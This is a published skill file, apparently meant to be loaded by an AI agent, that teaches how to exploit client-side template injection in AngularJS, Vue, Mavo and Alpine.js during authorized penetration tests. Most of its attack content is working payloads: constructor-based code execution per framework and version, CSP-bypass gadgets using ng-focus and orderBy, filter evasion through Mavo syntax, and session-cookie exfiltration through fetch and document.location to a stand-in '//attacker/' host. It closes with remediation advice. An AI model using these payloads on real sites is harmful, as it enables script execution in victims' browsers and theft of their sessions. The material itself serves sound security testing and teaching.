exploiting-client-side-template-injection

star 618

Exploiting Client-Side Template Injection (CSTI) where a frontend framework (AngularJS, Vue, Mavo, Alpine.js) compiles attacker-controlled template syntax in the browser, turning a reflection into arbitrary JavaScript execution (XSS) often bypassing classic XSS filters and CSP. Activates when user input is reflected into a framework-controlled DOM and template expressions like {{7*7}} are evaluated.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-client-side-template-injection description: Exploiting Client-Side Template Injection (CSTI) where a frontend framework (AngularJS, Vue, Mavo, Alpine.js) compiles attacker-controlled template syntax in the browser, turning a reflection into arbitrary JavaScript execution (XSS) often bypassing classic XSS filters and CSP. Activates when user input is reflected into a framework-controlled DOM and template expressions like {{7*7}} are evaluated. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • client-side-template-injection
  • csti
  • xss
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting Client-Side Template Injection (CSTI)

When to Use

  • During authorized tests of apps built with AngularJS, Vue, Mavo, or Alpine.js
  • When user input is reflected into a DOM region processed by the framework (not inert text)
  • When classic XSS payloads (<script>, <img onerror>) are filtered but template syntax is not
  • When you see directives: ng-app, ng-bind, v-html, x-data, mv-/data-mv-, or globals window.angular/Vue
  • When you need to bypass CSP — framework gadgets can execute without inline <script>

Critical: Variants Most Often Missed

Not every reflection into a framework page is exploitable. Confirm the framework, then confirm the exact sink (compiled expression vs inert HTML). The probe is {{7*7}} → renders 49 = CSTI; renders {{7*7}} literally = not (look for a directive/event sink instead).

# AngularJS >= 1.6 (sandbox removed → direct exec)
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
# AngularJS CSP / ng-csp mode (orderBy gadget)
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
# AngularJS sandbox-escape exfil gadget (Google research)
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location='//attacker/'+d.cookie"></textarea></div>

# Vue 2
{{constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert("foo")')()}}
"><div v-html="''.constructor.constructor('alert(1)')()">x</div>
# Vue 3 (helper name varies by build — enumerate nearby helpers)
{{_openBlock.constructor('alert(1)')()}}
{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}
{{_Vue.h.constructor`alert(1)`()}}

# Mavo (mv-/data-mv- attributes; NON-JS syntax bypasses JS-token filters)
[7*7]
[self.alert(1)]
[(1,alert)(1)]
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
javascript:alert(1)%252f%252f..%252fcss-images

How to CONFIRM a hit (avoid false negatives)

  1. Reflect a unique marker, confirm where it lands in the DOM.
  2. Probe {{7*7}} (Angular/Vue) or [7*7] (Mavo). Rendered arithmetic (49) = template evaluated.
  3. If {{...}} is inert, hunt directive/event sinks: ng-focus, ng-click, v-html, dynamic bindings, alternate delimiters.
  4. Framework-version matters:
    • AngularJS < 1.6: needs a sandbox escape; {{1+1}} still confirms CSTI but exec is version-specific.
    • AngularJS >= 1.6: sandbox removed → constructor.constructor(...) reliable.
    • Vue runtime-only build: does NOT compile arbitrary template strings client-side — a plain reflection into inert HTML is not enough; you need template-compilation or a v-html/gadget sink.
  5. A successful alert(document.domain) / cookie exfil / CSP-bypassing gadget confirms code execution, not just reflection.

Workflow

Step 1: Fingerprint the framework & sink

# Look in the page source / DOM
grep -Eo 'ng-app|ng-controller|ng-bind|v-[a-z]+|x-data|mv-|data-mv-' page.html
# In console:
#   window.angular?.version        → AngularJS version (decides sandbox payloads)
#   document.querySelectorAll('[v-html],[x-data],[ng-app]')

Step 2: Confirm evaluation, then weaponize

# Step A: {{7*7}} → 49 ?
# Step B: switch to framework+version payload
AngularJS >=1.6 : {{constructor.constructor('alert(document.domain)')()}}
Vue 2           : {{this.constructor.constructor('alert(document.domain)')()}}
Vue 3           : {{_openBlock.constructor('alert(document.domain)')()}}   # or enumerate _createBlock/_toDisplayString
Mavo            : [self.alert(document.domain)]

Step 3: Escalate impact

// Cookie / token theft
{{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}}
// CSP bypass via ng-csp orderBy gadget (no inline script needed)
<input ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>

Because execution happens through the framework's own evaluator, CSTI frequently bypasses XSS filters and script-src CSP restrictions that block raw <script>.

Key Concepts

Concept Description
CSTI Client-side template injection → arbitrary JS in the victim browser (XSS)
{{7*7}} probe Rendering 49 proves the expression is compiled by the framework
Sandbox removal (Angular 1.6) constructor.constructor(...) works directly from 1.6+
Vue runtime-only No client template compilation → need v-html/gadget, not bare {{}}
Vue 3 render helpers _openBlock/_createBlock/_toDisplayString expose .constructor
Mavo non-JS syntax [7*7], [self.alert(1)] bypass filters looking for JS tokens
CSP bypass Framework evaluator executes without inline <script>

Tools & Systems

Tool Purpose
ACSTIS (angularjs-csti-scanner) Crawl + version-aware AngularJS CSTI payload selection & verification
Browser DevTools console Fingerprint framework, test expressions, enumerate render helpers
Burp Suite Reflect markers, deliver framework payloads, observe execution
PortSwigger XSS cheat sheet AngularJS/Vue reflected gadget reference
Auto_Wordlists/ssti.txt Template-injection probe list

Common Scenarios

Scenario 1: AngularJS Search Reflection

A search term is reflected inside an ng-app region. {{7*7}} renders 49; since the app uses AngularJS 1.7, {{constructor.constructor('alert(document.domain)')()}} executes JS, bypassing the app's <script> filter.

Scenario 2: Vue 3 Profile Field

A profile name is compiled into a Vue 3 template. {{_openBlock.constructor('alert(1)')()}} runs; when _openBlock isn't present, enumerating _createBlock/_toDisplayString finds a working helper.

Scenario 3: Mavo Filter Bypass

The WAF blocks alert(1) and JS tokens, but the page uses mv- attributes. [self.alert(document.cookie)] evaluates through Mavo's non-JS expression parser, achieving XSS where classic payloads were blocked.

Output Format

## Client-Side Template Injection Finding

**Vulnerability**: Client-Side Template Injection (CSTI) → XSS
**Severity**: High (CVSS 6.1–8.2; higher when it bypasses CSP and steals session)
**Location**: GET /search?q=<template payload> (AngularJS ng-app region)
**OWASP Category**: A03:2021 - Injection (Cross-Site Scripting)

### Reproduction Steps
1. Reflect {{7*7}} into q → page renders 49 (expression compiled).
2. Send {{constructor.constructor('alert(document.domain)')()}} → JS executes.
3. Escalate: {{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}} exfiltrates the session cookie.

### Evidence
| Probe | Render | Meaning |
|-------|--------|---------|
| {{7*7}} | 49 | Template evaluated |
| {{constructor.constructor('alert(1)')()}} | alert fired | JS execution |
| ng-focus orderBy gadget | runs under ng-csp | CSP bypass |

### Impact
Arbitrary JavaScript execution in the victim's browser: session/cookie theft, account actions, and CSP/XSS-filter bypass via the framework evaluator.

### Recommendation
1. Never reflect user input into framework-compiled template regions; treat it as data, not template.
2. Use strict contextual output encoding and avoid `v-html`/`ng-bind-html` on user data.
3. Upgrade away from AngularJS (EoL); use runtime-only Vue builds that don't compile client templates.
4. Sanitize with framework-sanctioned sanitizers and keep a hardened CSP as defense-in-depth.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-client-side-template-injection
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator